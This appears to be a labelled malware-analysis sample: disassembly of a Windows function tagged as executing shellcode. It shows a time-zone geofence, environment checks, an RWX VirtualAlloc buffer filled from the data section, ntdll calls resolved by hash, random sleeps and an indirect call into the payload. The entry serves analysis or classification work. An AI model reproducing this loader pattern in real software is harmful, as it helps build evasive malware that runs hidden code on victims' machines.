Function at 0x14001d960
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
sub rsp, 0x238
call fcn.14001d64c
movzx eax, al
test eax, eax
je 0x14001dc6a
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 0x3c
idiv ecx
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x30]
lea rcx, str.ikun
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
call fcn.14000873c
movzx eax, al
test eax, eax
jne 0x14001dc6a
call fcn.140008670
movzx eax, al
test eax, eax
jne 0x14001dc6a
cmp dword [rsp + 0x3c], 0xfffffff8
jne 0x14001dc6a
call fcn.14001d64c
movzx eax, al
test eax, eax
je 0x14001dc6a
lea rcx, [rsp + 0x30]
call fcn.14005b2a0
mov r8d, eax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x130]
call fcn.14001cf58
mov qword [rsp + 0x20], 0
jmp 0x14001da2e
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x3a3
jae 0x14001da7b
lea rax, section..data
add rax, qword [rsp + 0x20]
mov r8d, 1
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.14001ce20
lea rax, section..data
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rax + rcx]
mov edx, eax
lea rcx, str.x_02x
call fcn.14001dc78
jmp 0x14001da21
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x3a3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
mov r8d, 0x3a3
lea rdx, section..data
mov rcx, qword [rsp + 0x28]
call fcn.14004c730
cmp qword [rsp + 0x28], 0
jne 0x14001dac2
mov eax, 1
jmp 0x14001dc6c
call fcn.14001d64c
movzx eax, al
test eax, eax
je 0x14001dc6a
call fcn.1400086e4
movzx eax, al
test eax, eax
jne 0x14001dc6a
call fcn.14005b378
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
shl eax, 1
cdqe
mov rcx, rax
call fcn.1400069f8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x48], rax
mov edx, 0xb9903ada
mov rcx, qword [rsp + 0x48]
call fcn.140008304
mov qword [rsp + 0x60], rax
call fcn.14005b378
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
shl eax, 1
cdqe
mov rcx, rax
call fcn.1400069f8
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14001db66
mov eax, 0xffffffff
jmp 0x14001dc6c
call fcn.14005b378
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
shl eax, 1
cdqe
mov rcx, rax
call fcn.1400069f8
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x40]
mov edx, 0xc1cdffb1
mov rcx, qword [rsp + 0x48]
call fcn.140008304
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov edx, 0x3a3
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x50]
call fcn.14005b378
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
shl eax, 1
cdqe
mov rcx, rax
call fcn.1400069f8
mov edx, 0x3a3
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
call fcn.14005b378
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
shl eax, 1
cdqe
mov rcx, rax
call fcn.1400069f8
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x58]
call fcn.14005b378
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
shl eax, 1
cdqe
mov rcx, rax
call fcn.1400069f8
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, section..data
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.14004b494
xor eax, eax
add rsp, 0x238
pop rdi
pop rsi
ret